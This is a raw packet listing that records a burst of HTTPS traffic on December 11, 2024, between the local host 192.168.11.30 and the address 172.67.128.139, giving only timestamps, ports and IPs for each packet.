Dec 11, 2024 12:30:43.601619005 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.601619005 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.601619005 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.602279902 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.602324009 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.602447987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.602472067 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.602679968 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.602679968 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.602864027 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.602864027 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.604052067 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.604079008 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.604253054 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.604273081 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.604444027 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.604444981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.605868101 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.605901003 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.606225014 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.606225014 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.606251001 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.607693911 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.607728958 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.607867956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.607867956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.607896090 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.608063936 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.608064890 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.609636068 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.609669924 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.609778881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.609806061 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.609822035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.609822035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.610043049 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.610043049 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.610043049 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.610043049 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.610984087 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.611021996 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.611150026 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.611150026 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.611150026 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.611358881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.611382961 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.611845016 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.611973047 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.612131119 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.612131119 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.612159014 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.612324953 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.780443907 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.780503988 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.780613899 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.780613899 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.780613899 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.780663013 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.780792952 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.780792952 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.780983925 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.781627893 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.781687975 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.782176018 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.782208920 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.782588005 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.783361912 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.783413887 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.783535957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.783535957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.783720970 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.783720970 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.783721924 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.783751011 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.783914089 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.784427881 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.784478903 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.784634113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.784817934 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.784817934 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.784846067 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.785051107 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.785223961 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.785356045 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.785559893 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.786767960 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.786818981 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.786941051 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.787122965 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.787122965 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.787152052 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.787888050 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.787946939 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.788045883 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.788086891 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.788100004 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.788100004 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.788100004 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.788295031 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.788295031 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.789387941 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.789444923 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.789567947 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.789588928 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.789763927 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.789763927 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.790968895 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.791021109 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.791142941 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.791142941 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.791142941 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.791321993 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.791321993 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.791321993 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.791351080 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.792598963 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.792661905 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.792788029 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.792788029 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.792788029 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.792810917 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.793170929 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.793658018 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.793705940 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.794101000 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.794101000 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.794101000 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.794136047 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.794136047 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.794157982 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.794183969 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.795270920 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.795320034 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.795438051 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.795438051 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.795466900 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.795633078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.795633078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.796802998 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.796852112 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.796927929 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.796963930 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.797171116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.797363043 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.798463106 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.798512936 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.798619032 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.798619986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.798666954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.798666954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.798687935 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.798845053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.798845053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.799503088 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.799559116 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.799966097 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.799966097 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.799966097 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.799966097 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.799966097 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.800003052 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.801147938 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.801198006 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.801335096 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.801335096 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.801363945 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.801536083 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.801536083 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.801536083 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.802535057 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.802581072 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.802683115 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.802706957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.802706957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.802752972 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.802911043 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.802911997 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.802911997 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.802911997 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.804058075 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.804091930 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.804409981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.804409981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.804409981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.804409981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.804409981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.804446936 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.804990053 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.805037975 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.805160999 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.805160999 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.805192947 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.805545092 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.806844950 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.806898117 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.807318926 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.807318926 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.807318926 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.807398081 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.807420015 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.807691097 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.807918072 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.807976007 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.808118105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.808156013 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.808300018 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.808300972 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.809834957 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.809881926 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.810000896 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.810182095 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.810209036 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.810411930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.811018944 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.811069012 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.811230898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.811230898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.811280012 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.811422110 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.811422110 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.811604023 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.812695026 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.812745094 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.813003063 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.813035965 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.813174963 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.813390017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.814305067 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.814363956 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.814477921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.814477921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.814677954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.814698935 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.814876080 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.814903975 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.815206051 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.815265894 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.815567970 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.815568924 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.815568924 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.815568924 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.815568924 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.815624952 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.815948963 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.816895962 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.816946030 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.817250013 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.817250013 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.817277908 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.817652941 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.818268061 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.818316936 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.818605900 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.818605900 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.818605900 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.818605900 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.818660975 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.818988085 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.820041895 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.820091009 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.820223093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.820401907 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.820436001 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.820733070 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.821279049 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.821330070 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.821763992 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.821763992 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.821764946 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.821794987 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.821953058 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.822141886 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.822837114 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.822894096 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.823014021 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.823014021 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.823220968 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.823220968 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.823220968 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.823245049 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.823481083 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.823816061 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.823869944 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.824174881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.824176073 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.824207067 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.824387074 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.825773001 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.825820923 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.826131105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.826131105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.826131105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.826131105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.826179981 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.826514006 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.826855898 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.826915979 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.827245951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.827245951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.827294111 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.827593088 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.828733921 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.828790903 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.828911066 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.829087019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.829087019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.829087973 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.829108953 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.829282999 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.829282999 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.829713106 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.829770088 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.830070019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.830070019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.830070019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.830070019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.830118895 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.830269098 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.831408978 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.831461906 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.831603050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.831603050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.831638098 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.831803083 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.831971884 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.833163977 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.833215952 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.833338022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.833338022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.833518028 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.833548069 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.833717108 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.833718061 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.833800077 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.834305048 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.834351063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.834654093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.834654093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.834654093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.834654093 CET	49763	443	192.168.11.30	172.67.128.139
